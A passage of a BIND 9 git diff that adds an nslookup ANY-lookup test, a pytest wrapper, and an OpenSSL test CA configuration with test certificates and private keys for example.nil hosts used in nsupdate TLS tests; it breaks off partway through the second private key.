+echo_i "Check ANY lookup ($n)"
+ret=0
+$NSLOOKUP -port=${PORT} -type=ANY example.net 10.53.0.1 2> nslookup.err${n} > nslookup.out${n} || ret=1
+lines=$(grep -c 'Address:.10\.53\.0\.1#'"${PORT}" nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c 'origin = ns1\.example\.net' nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c 'mail addr = hostmaster\.example\.net' nslookup.out${n})
+test $lines -eq 1 || ret=1
+lines=$(grep -c 'nameserver = ns1\.example\.net.' nslookup.out${n})
+test $lines -eq 1 || ret=1
+if [ $ret != 0 ]; then echo_i "failed"; fi
+status=$((status+ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/nslookup/tests_sh_nslookup.py b/bin/tests/system/nslookup/tests_sh_nslookup.py
new file mode 100644
index 0000000000..9553a82aee
--- /dev/null
+++ b/bin/tests/system/nslookup/tests_sh_nslookup.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_nslookup(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/nsupdate/.gitignore b/bin/tests/system/nsupdate/.gitignore
new file mode 100644
index 0000000000..df5fe68d5d
--- /dev/null
+++ b/bin/tests/system/nsupdate/.gitignore
@@ -0,0 +1,5 @@
+# temporary files generated by "openssl ca"
+/CA/*.old
+# there is little point in keeping the certificate requests
+# for the issued certificates
+/CA/certs/*.csr
diff --git a/bin/tests/system/nsupdate/CA/CA-other.pem b/bin/tests/system/nsupdate/CA/CA-other.pem
new file mode 100644
index 0000000000..6bdbedacbf
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/CA-other.pem
@@ -0,0 +1,26 @@
+-----BEGIN CERTIFICATE-----
+MIIEZTCCAs0CFDYlin3oeYDu16bFItl9tGZz1Ra4MA0GCSqGSIb3DQEBCwUAMG4x
+CzAJBgNVBAYTAlVBMRcwFQYDVQQIDA5LaGFya2l2IE9ibGFzdDEQMA4GA1UEBwwH
+S2hhcmtpdjEMMAoGA1UECgwDSVNDMSYwJAYDVQQLDB1Tb2Z0d2FyZSBFbmdlbmVl
+cmluZyAoQklORCA5KTAgFw0yMjA5MDcyMTIzNTBaGA8yMDUyMDgzMDIxMjM1MFow
+bjELMAkGA1UEBhMCVUExFzAVBgNVBAgMDktoYXJraXYgT2JsYXN0MRAwDgYDVQQH
+DAdLaGFya2l2MQwwCgYDVQQKDANJU0MxJjAkBgNVBAsMHVNvZnR3YXJlIEVuZ2Vu
+ZWVyaW5nIChCSU5EIDkpMIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEA
+10Xj8dH8/XCfUvhdL/S3E10TnrYY8IIDBmU0lkUR5IHwgP9IYVyR/0Mibg79FAs+
+rvuEDifUK+6wvkpj+BXNVZCspo9/u3cl7dqrLH+1SeUs50OeQnbbTrBl0PuNwvzE
+kbk7xwLlVDOyRmmvY/EEu7WkitQZgXSAYgttrk62CuJUQUmwUTX5Jxndsjydk/zW
+/DiulTsX+zv8kG5NiwpXCfL6QxBoMZNI4fUmDL3bX1XfHaFA+45GT2lHu07xc+cV
+eZIRCo0Nk+fIO53lDol8mmR8/5vna27gRnqEUSU7MZAMG6QBXkotnq3rHnrI/ku6
+dCJW4tbWV/ANQ+TG17g2tygzC/smqTuLqavyP9V5cRrdU9awEqwvy8uVbGkTmUZd
+tjkGWCcmBSWJvkH3MRJmijS7rDcb8m/g9+xKe79V1c8durGWvcfMRZZhWaoHyhnH
+g9+JLUCC3EUCp/1206w5vTXEQNpqi9Z3AZfgboPzJyji4OeYfcQ5eaIZ3OuIpyQz
+AgMBAAEwDQYJKoZIhvcNAQELBQADggGBAKdQkmmyUqcE1by7AeHoxkqFgqUeSAlh
+flXi5DD+j5+Op2GAUrx84LGy4+heKEwAkV5Cw2c9IMHmDDMnGe/g4FjBS+dTZsTs
+JRXXDR7t20eWiBpvO/3IMqVpPq9CAQY1L9PYAVuVM5cwdzsJXdH82z2BZ3Ttg3GX
+NPnybxzD/auC051vqEp28Jzbswd4c3VvTmRnYY7rYNNKnLD7812BIp7lnE6s5X2D
+y0PPSYdhscTqfJV0+GDF5hUduOFX1xTcPlXaXfyKLLelqtrw40p3ynww9v/J4mwt
+FBV+a8gguM7tCZMoV/VJZghObglV/wpokAQchL/pnxL7+U8JklRqaU4DlxyGZ+K4
+QlR5mJe19ZlkgHePk1MbwNZaTXjaOFirYmZzs4YynOp3iBHrW3CYY3kVlrUpKP08
+o101hce32VxkyST6i5W24MU02O/wuPdyQpN+rJjYv32Axsrh/ePkI5qKew9eZ63i
+WzNb7BW1LrHrQ/lXoJ3ekRQd10UX3xhk/w==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/CA.cfg b/bin/tests/system/nsupdate/CA/CA.cfg
new file mode 100644
index 0000000000..369e43a6d4
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/CA.cfg
@@ -0,0 +1,77 @@
+# See ../../doth/CA/ca.cfg for more information
+
+# certificate authority configuration
+[ca]
+default_ca      = CA_default               # The default ca section
+
+[CA_default]
+dir            = .
+new_certs_dir  = $dir/newcerts         # new certs dir (must be created)
+certificate    = $dir/CA.pem           # The CA cert
+private_key    = $dir/private/CA.key   # CA private key
+
+serial         = $dir/serial           # serial number file for the next certificate
+                                       # Update before issuing it:
+                                       # xxd -l 8 -u -ps /dev/urandom > ./serial
+database = $dir/index.txt                 # (must be created manually: touch ./index.txt)
+
+default_days   = 10950                 # how long to certify for
+
+#default_crl_days = 30                 # the number of days before the
+default_crl_days = 10950               # next CRL is due. That is the
+                                       # days from now to place in the
+                                       # CRL nextUpdate field.  If CRL
+                                       # is expired, certificate
+                                       # verifications will fail even
+                                       # for otherwise valid
+                                       # certificates. Clients might
+                                       # cache the CRL, so the expiry
+                                       # period should normally be
+                                       # relatively short (default:
+                                       # 30) for production CAs.
+
+default_md     = sha256                # digest to use
+
+policy         = policy_default        # default policy
+email_in_dn    = no                    # Don't add the email into cert DN
+
+name_opt       = ca_default            # Subject name display option
+cert_opt       = ca_default            # Certificate display option
+
+# We need the following in order to copy Subject Alt Name(s) from a
+# request to the certificate.
+copy_extensions = copy                 # copy extensions from request
+
+[policy_default]
+countryName            = optional
+stateOrProvinceName    = optional
+organizationalUnitName = optional
+commonName             = supplied
+emailAddress           = optional
+
+# default certificate requests settings
+[req]
+# Options for the `req` tool (`man req`).
+default_bits        = 3072 # for RSA only
+distinguished_name  = req_default
+string_mask         = utf8only
+# SHA-1 is deprecated, so use SHA-256 instead.
+default_md          = sha256
+# do not encrypt the private key file
+encrypt_key         = no
+
+[req_default]
+# See <https://en.wikipedia.org/wiki/Certificate_signing_request>.
+countryName                     = Country Name (2 letter code)
+stateOrProvinceName             = State or Province Name (full name)
+localityName                    = Locality Name (e.g., city)
+0.organizationName              = Organization Name (e.g., company)
+organizationalUnitName          = Organizational Unit Name (e.g. department)
+commonName                      = Common Name (e.g. server FQDN or YOUR name)
+emailAddress                    = Email Address
+# defaults
+countryName_default                     = UA
+stateOrProvinceName_default             = Kharkiv Oblast
+localityName_default                    = Kharkiv
+0.organizationName_default              = ISC
+organizationalUnitName_default          = Software Engeneering (BIND 9)
diff --git a/bin/tests/system/nsupdate/CA/CA.pem b/bin/tests/system/nsupdate/CA/CA.pem
new file mode 100644
index 0000000000..1f725dbb8a
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/CA.pem
@@ -0,0 +1,29 @@
+-----BEGIN CERTIFICATE-----
+MIIE3TCCA0WgAwIBAgIUeZPKrvbGEBZaRc2jNczlIsJXyPYwDQYJKoZIhvcNAQEL
+BQAwfTELMAkGA1UEBhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4G
+A1UEBwwHS2hhcmtpdjEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0
+aXVtMRwwGgYDVQQDDBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDEyNDEyNDA1
+NFoYDzIwNTIwMTE3MTI0MDU0WjB9MQswCQYDVQQGEwJVQTEYMBYGA1UECAwPS2hh
+cmtpdiBPYmxhc3QnMRAwDgYDVQQHDAdLaGFya2l2MSQwIgYDVQQKDBtJbnRlcm5l
+dCBTeXN0ZW1zIENvbnNvcnRpdW0xHDAaBgNVBAMME2NhLnRlc3QuZXhhbXBsZS5j
+b20wggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCi6hEegBzpUKbE1NTo
+Z7uz7EMUY7TBckkiw/7ydTLKNa8YI4JpBguFvWQsDY0dGFJIoVwyHyNx3seW/LoI
+B5zWPZ2xbOvLLceA+t2NZpbc98E7jUOVS123yED+nqlfZjCq9Zt0r/ezwnQtjnFF
+ko1mcU4H9Jvg8aIgnU2AxE78zciU9CY8799pFFNThIjbooI8oVbfjbzbpmLzxjA5
+3rDmZBTh+ySTlMa2U2oT4WPjRltZWnJVegRRLpG95GnTbQ1fkJAbj1Iu10XTkCee
+wBOqaA1UJem0a6pby5odE414Y7c0ETKcmaJtYENQyO0IJwZWDKtVe5OTIAklakia
+eyFTCAw1h5tHCYLaJW/Yu2wlLl5RNQcRZ9+cWXnldTY+TI1iBjfmADjLdKJYUlhX
+z7kWJtTi63Sdv6WYcEXxaWpxT+R3e2kaR/R7GOo4gdkWpX1siGlRteHHH2/36CSQ
+ZD2etcTUpGW+KDHFR4grnEfL1rt9UgvCjpa4KcssmZtWSSUCAwEAAaNTMFEwHQYD
+VR0OBBYEFHyJ6Fzr5R9ySATFj/uSCJz1YCY5MB8GA1UdIwQYMBaAFHyJ6Fzr5R9y
+SATFj/uSCJz1YCY5MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQELBQADggGB
+AF3y0hvzyZWtmuG1JwIcOcc1aPl1KdRy8bao/5iHYGYYrsdDgcO5/e+y9S/izalc
+TdW7SKB5iBOCiE8fBNtToCvGP+fxNxHijpAmTr37G5sWuSo1T1VYFizHWL+df/Ig
+TcSvDrEjSnAwaEdNJUWtjoIC4VzNKTLtZf16QIATTzTZa3bfgSetpWS7LhLQbHod
+CSGI2QB1LRbqGC+a1Y85QxHv81jWzPWPzXYvnOLrDdQyBMOBcxDzrN4b6zg+5Itz
+qGYt+IS71jAH0IhxAyD/U5n1jGJv02BnSq0ynLEOD6gsnZjqAwPbt/PM9pGbtbXO
+70Q9rxr+vQc1IISKAEiH3txaEPi10wU98d6LbInJvQrmgHo/ntet8skWNYuxlEzS
+wvynuE9KvvQtOTodWt5AePtKrhHdxu527a4CHVp59nYUjKSdMKjvmhMRXM1cNjFE
+rA/pyyhozR47w3RzHMJVHw2GJ2B/HeqmxpXr1CmJjoRP38QCR7N+mqiZy85Fq2j2
+8Q==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/README b/bin/tests/system/nsupdate/CA/README
new file mode 100644
index 0000000000..13069ca2f8
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/README
@@ -0,0 +1,2 @@
+Please take a look at the contents of the CA.cfg file for further
+instructions and configurations options.
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.key b/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.key
new file mode 100644
index 0000000000..5e3420eda2
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
+smxv7aRpgoWBRa5vinKvOv2T
+-----END PRIVATE KEY-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.pem b/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.pem
new file mode 100644
index 0000000000..f32b4c4f2c
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.client01.example.nil.pem
@@ -0,0 +1,93 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number: 8122792693893010842 (0x70b9f4eb2fa1959a)
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Sep  8 08:20:17 2022 GMT
+            Not After : Aug 31 08:20:17 2052 GMT
+        Subject: CN=srv01.client01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                RSA Public-Key: (3072 bit)
+                Modulus:
+                    00:ab:60:2e:9c:61:e3:89:c6:52:2b:bc:e9:e1:05:
+                    fd:18:65:42:20:f6:56:16:40:33:d2:cb:9f:f7:ef:
+                    22:54:a7:c9:55:70:ca:52:f0:e2:a2:58:38:7f:10:
+                    ad:2b:05:e0:11:b6:69:21:7f:2d:38:56:dd:d5:e4:
+                    f3:de:a7:32:35:f7:33:2a:52:80:ae:b7:d6:7c:35:
+                    74:c3:0c:8a:c3:3a:18:61:68:73:62:58:56:ff:78:
+                    25:57:1c:7b:be:98:88:21:dd:1c:8a:13:a5:9a:52:
+                    48:98:d9:3d:c4:28:a6:7e:9b:11:56:7e:ce:09:bb:
+                    51:89:8a:a8:1b:00:b5:73:2b:41:93:b1:62:40:30:
+                    29:ea:f6:a3:e7:bc:f0:e9:9e:07:2b:ae:a9:a0:1d:
+                    4d:d9:f8:18:4d:83:47:4e:68:ee:57:c8:55:15:86:
+                    3c:6d:1e:f5:31:f1:de:cf:c2:7e:6b:8e:22:5a:c5:
+                    76:af:d0:01:de:ab:7a:03:b2:96:33:cc:a0:26:ae:
+                    de:c4:bd:76:85:96:c7:88:e4:46:bc:3f:c6:54:c9:
+                    95:83:87:9c:49:0d:31:dd:c4:17:52:99:e4:65:49:
+                    9b:9d:f3:ad:ce:66:08:57:f4:83:be:5e:87:da:42:
+                    5a:01:2a:6d:68:d1:8d:38:d9:18:ae:5e:2e:54:72:
+                    8b:01:45:96:af:f5:a3:d0:29:5d:22:8b:b4:d4:30:
+                    af:02:36:c5:2d:e9:29:eb:2c:ea:6a:7e:27:b3:70:
+                    fc:87:1f:2b:c4:b1:3a:a6:c2:e9:b7:c2:6f:46:63:
+                    b7:96:2e:53:d8:b7:cd:c3:f4:b5:6d:b2:fc:57:49:
+                    ac:9f:98:c9:fe:b4:f5:7c:93:48:2e:93:dc:e9:18:
+                    54:63:5f:18:a3:e7:12:aa:fe:38:f0:73:e5:17:1e:
+                    fe:40:65:81:a8:8f:60:46:c2:16:f2:a8:9d:b1:1b:
+                    bc:ce:05:de:37:b2:a8:86:47:bd:8d:92:de:e0:e5:
+                    42:89:b8:e3:f8:b1:24:08:7e:99
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv01.client01.example.nil, IP Address:10.53.0.1
+    Signature Algorithm: sha256WithRSAEncryption
+         07:97:69:51:12:50:6a:e1:02:a0:b0:dc:93:75:16:c4:38:0f:
+         5c:b3:47:da:bf:fa:9c:b6:de:c0:ef:38:f7:cc:d9:8d:71:ba:
+         51:89:e5:48:36:dd:e1:f8:73:9d:92:80:1c:42:30:69:4f:8c:
+         19:5d:f7:1d:03:e4:f2:76:e0:58:7b:c2:76:c4:0a:7e:20:69:
+         26:6c:3e:cb:31:45:93:1d:07:5f:45:44:8e:5a:fb:87:17:7b:
+         4d:5c:bf:37:bd:5e:ba:5c:22:84:bf:26:21:4a:c4:e9:f9:cb:
+         73:de:fc:62:04:96:ad:aa:fd:89:09:5c:74:d6:bd:5f:07:17:
+         ef:9c:3d:ee:b7:dc:08:11:7f:12:66:ab:c4:ff:43:6d:7f:1e:
+         01:b6:d1:19:73:53:18:e4:02:b0:7c:9e:99:63:d8:57:dd:07:
+         79:fb:83:39:09:de:76:6e:68:b7:87:81:13:b8:26:e5:1c:c9:
+         a0:23:e5:97:39:ff:93:c7:8d:08:d8:ce:97:34:fc:ad:22:14:
+         89:c0:ae:83:7d:0a:3f:cf:a0:9b:b4:6a:5c:b3:6d:5d:3b:88:
+         ca:1e:9b:99:54:64:57:58:3c:4c:bd:26:ee:11:c3:13:0b:1d:
+         f5:fd:d9:37:b0:31:72:6f:1d:e8:ba:43:37:46:f7:71:fe:6d:
+         4a:30:33:29:c5:7b:37:8b:7e:06:22:89:a4:46:36:f0:fe:c6:
+         f5:f0:53:04:c0:35:52:78:6e:10:24:3a:d8:bf:7b:13:2f:98:
+         bc:69:31:41:68:02:5a:c4:f9:11:a2:6b:3f:c8:e0:d4:b3:80:
+         af:d2:be:fe:28:70:61:18:ed:8a:de:c4:cb:da:c9:60:94:91:
+         76:63:69:8c:6e:96:f5:ba:e7:be:1e:1c:c3:84:b1:8d:e8:31:
+         f7:66:8c:0d:da:a8:78:57:19:fd:a0:8d:fa:9a:7e:51:1c:d1:
+         d0:84:07:a2:45:40:2d:c4:6b:e9:9f:86:4a:08:20:8f:9c:79:
+         97:e3:7f:2a:14:73
+-----BEGIN CERTIFICATE-----
+MIIEVTCCAr2gAwIBAgIIcLn06y+hlZowDQYJKoZIhvcNAQELBQAwfTELMAkGA1UE
+BhMCVUExGDAWBgNVBAgMD0toYXJraXYgT2JsYXN0JzEQMA4GA1UEBwwHS2hhcmtp
+djEkMCIGA1UECgwbSW50ZXJuZXQgU3lzdGVtcyBDb25zb3J0aXVtMRwwGgYDVQQD
+DBNjYS50ZXN0LmV4YW1wbGUuY29tMCAXDTIyMDkwODA4MjAxN1oYDzIwNTIwODMx
+MDgyMDE3WjAlMSMwIQYDVQQDDBpzcnYwMS5jbGllbnQwMS5leGFtcGxlLm5pbDCC
+AaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAKtgLpxh44nGUiu86eEF/Rhl
+QiD2VhZAM9LLn/fvIlSnyVVwylLw4qJYOH8QrSsF4BG2aSF/LThW3dXk896nMjX3
+MypSgK631nw1dMMMisM6GGFoc2JYVv94JVcce76YiCHdHIoTpZpSSJjZPcQopn6b
+EVZ+zgm7UYmKqBsAtXMrQZOxYkAwKer2o+e88OmeByuuqaAdTdn4GE2DR05o7lfI
+VRWGPG0e9THx3s/CfmuOIlrFdq/QAd6regOyljPMoCau3sS9doWWx4jkRrw/xlTJ
+lYOHnEkNMd3EF1KZ5GVJm53zrc5mCFf0g75eh9pCWgEqbWjRjTjZGK5eLlRyiwFF
+lq/1o9ApXSKLtNQwrwI2xS3pKess6mp+J7Nw/IcfK8SxOqbC6bfCb0Zjt5YuU9i3
+zcP0tW2y/FdJrJ+Yyf609XyTSC6T3OkYVGNfGKPnEqr+OPBz5Rce/kBlgaiPYEbC
+FvKonbEbvM4F3jeyqIZHvY2S3uDlQom44/ixJAh+mQIDAQABoy8wLTArBgNVHREE
+JDAighpzcnYwMS5jbGllbnQwMS5leGFtcGxlLm5pbIcECjUAATANBgkqhkiG9w0B
+AQsFAAOCAYEAB5dpURJQauECoLDck3UWxDgPXLNH2r/6nLbewO8498zZjXG6UYnl
+SDbd4fhznZKAHEIwaU+MGV33HQPk8nbgWHvCdsQKfiBpJmw+yzFFkx0HX0VEjlr7
+hxd7TVy/N71eulwihL8mIUrE6fnLc978YgSWrar9iQlcdNa9XwcX75w97rfcCBF/
+EmarxP9DbX8eAbbRGXNTGOQCsHyemWPYV90HefuDOQnedm5ot4eBE7gm5RzJoCPl
+lzn/k8eNCNjOlzT8rSIUicCug30KP8+gm7RqXLNtXTuIyh6bmVRkV1g8TL0m7hHD
+Ewsd9f3ZN7Axcm8d6LpDN0b3cf5tSjAzKcV7N4t+BiKJpEY28P7G9fBTBMA1Unhu
+ECQ62L97Ey+YvGkxQWgCWsT5EaJrP8jg1LOAr9K+/ihwYRjtit7Ey9rJYJSRdmNp
+jG6W9brnvh4cw4Sxjegx92aMDdqoeFcZ/aCN+pp+URzR0IQHokVALcRr6Z+GSggg
+j5x5l+N/KhRz
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.key b/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.key
new file mode 100644
index 0000000000..d8f68ac3eb
--- /dev/null
+++ b/bin/tests/system/nsupdate/CA/certs/srv01.client02-expired.example.nil.key
@@ -0,0 +1,40 @@
+-----BEGIN PRIVATE KEY-----
+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
